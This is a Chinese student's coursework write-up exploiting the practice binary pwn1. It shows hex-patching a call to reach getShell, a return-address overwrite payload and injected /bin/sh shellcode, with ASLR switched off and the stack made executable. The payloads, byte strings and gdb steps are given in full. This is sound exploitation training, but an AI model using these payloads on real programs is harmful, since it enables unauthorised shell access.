20251906 2025-2026-2 《网络攻防实践》第九周作业
1.实践内容
1.1 实验目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
1.2 前置基础知识点
- ELF 文件结构基础
定义:Linux 下可执行文件标准格式(Executable and Linkable Format)
核心段:
.text:代码段(存储 main、foo、getShell 等函数的机器指令)
符号表(Symbol Table):记录函数 / 变量的名称与内存地址映射(工具:nm命令查看)
关键工具:objdump(反汇编 ELF 文件,查看指令与函数地址)、readelf(解析 ELF 结构细节) - x86 架构与函数调用约定
核心寄存器:
eip:指令指针寄存器(存储下一条要执行的指令地址,控制执行流)
esp:栈指针寄存器(指向栈顶)
ebp:基址指针寄存器(固定栈帧,用于定位局部变量 / 返回地址)
函数调用流程(cdecl 约定):
调用者(main)压入函数参数 → 压入返回地址(main 的下一条指令地址)
跳转至被调用者(foo) → 被调用者压入ebp(保存上一层栈帧)
分配局部变量(栈空间增长,esp下移) → 执行函数逻辑
函数返回时,弹出ebp → 弹出返回地址至eip → 回到调用者继续执行 - 栈结构与栈帧布局
栈特性:从高地址向低地址生长(“向下生长”)
关键:局部变量位于栈帧下方,输入过长会 “向上溢出”,覆盖ebp和返回地址 - 调试工具(gdb)核心操作
函数地址查询:info functions(列出所有函数)、print getShell(获取函数地址)
反汇编:disassemble foo(查看 foo 函数指令)、disassemble main(查看 main 调用逻辑)
栈调试:break foo(设置断点)、run(运行程序)、x/20xw $esp(查看栈内存内容,x = 十六进制,w=4 字节)
指令跟踪:nexti(单步执行指令)、finish(执行完当前函数) - 缓冲区溢出(Bof)原理
触发条件:函数使用无边界检查的输入函数(如gets、strcpy),输入长度超过局部缓冲区大小
本质:溢出数据覆盖栈帧中的 “返回地址”,当函数执行ret指令时,eip会指向被篡改的地址,从而改变执行流
2.实践过程
2.1 手工修改可执行文件
在kali虚拟机中下载pwn1文件,重命名为pwn20251906
使用命令objdump -d pwn20251906 | more把文件中的汇编代码反汇编出来

使用命令vim pwn20251906打开文件

使用命令%!xxd转化为16进制

修改call指令,让函数直接跳转getShell函数,在第000004b0行将第4组中的d7改为c3

使用命令objdump -d pwn20251906 | more查看修改结果

使用命令./pwn20251906运行程序

成功拿到了shell攻击成功
2.2foo函数的Bof漏洞
重新下载一个pwn1文件,重命名为pwn20251906
使用命令apt stall gdb -y下载gdp

使用命令objdump -d pwn20251906 | more查看pwn20251906文件

缓冲区的起始地址为ebp - 0x1c,返回地址为ebp + 4,相差32字节,也就是缓冲区最多能输入32个字符
使用gdb工具调试gdb pwn20251906

输入r运行

输入1234567812345678123456781234567812345678时eip的值为0x34333231

输入1234567812345678123456781234567899999999时eip的值为0x39393939,9999四个数最终会覆盖到堆栈上的返回地址

getShell地址为0x0804847d,所以要输入12345678123456781234567812345678\x7d\x84\x04\x08
使用命令
perl -e 'print "12345678123456781234567812345678\x7d\x84\x04\x08\x0a"' > 20251906_input将字符串写入文件中

使用命令xxd 20251906_input查看

使用命令(cat 20251906_input; cat) | pwn20251906将20251906_input中的内容注入

测试发现得到了shell证明攻击成功了
2.3 注入自己制作的shellcode
使用命令wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb下载execstack_0.0.20131005-1.1_amd64.deb

使用命令dpkg -i execstack_0.0.20131005-1.1_amd64.deb解压

使用命令execstack -s pwn20251906设置pwn20251906文件堆栈可执行,使用命令execstack -q pwn20251906查询是否设置成功

使用命令sudo echo 0 | sudo tee /proc/sys/kernel/randomize_va_space关闭地址随机化

将perl生成的字符串存储到input_20251906文件
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_20251906

使用命令(cat input_20251906;cat) | ./pwn20251906初始注入,终端stdin接管后续输入
新开一个终端使用命令ps -ef | grep pwn20251906查看进程

再开一个终端使用命令gdb pwn20251906对pwn20251906文件进行gdb调试,使用命令attach 19837监听进程,使用命令break *0x080484ae在ret处设置断点

终端1按回车,终端3使用命令c、info r esp,x/16x 0xffffcf5c继续运行。

栈顶指针所在的位置为0xffffcf5c,0x01020304为返回地址的位置。shellcode的地址为栈顶指针的地址 + 4 = 0xffffcf5c + 4 = 0xffffcf60。
退出gbd,重新构造 input_20251906文件
perl -e 'print "A" x 32;print "\x60\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_20251906
使用命令(cat input_20251906;cat) | ./pwn20251906注入代码

使用常见指令测试发现得到了shell
3.学习中遇到的问题及解决
- 问题1:下载gdb时无法访问下载网址
![image]()
- 问题1解决方案:使用命令
apt update更新下载源即可
4.实践总结
实验通过三种方式篡改pwn1程序执行流,核心围绕 “突破默认执行逻辑、运行目标代码” 展开:手工修改二进制文件替换函数调用地址,利用缓冲区溢出覆盖返回地址,注入自定义shellcode并执行。关键依赖x86架构栈帧布局、小端序地址构造、gdb调试与反汇编工具使用,同时需关闭栈保护、NX等安全机制。实验本质是对程序内存布局与执行流控制的底层探索,既掌握了漏洞利用的核心技术,也理解了系统安全防护的基本逻辑。

浙公网安备 33010602011771号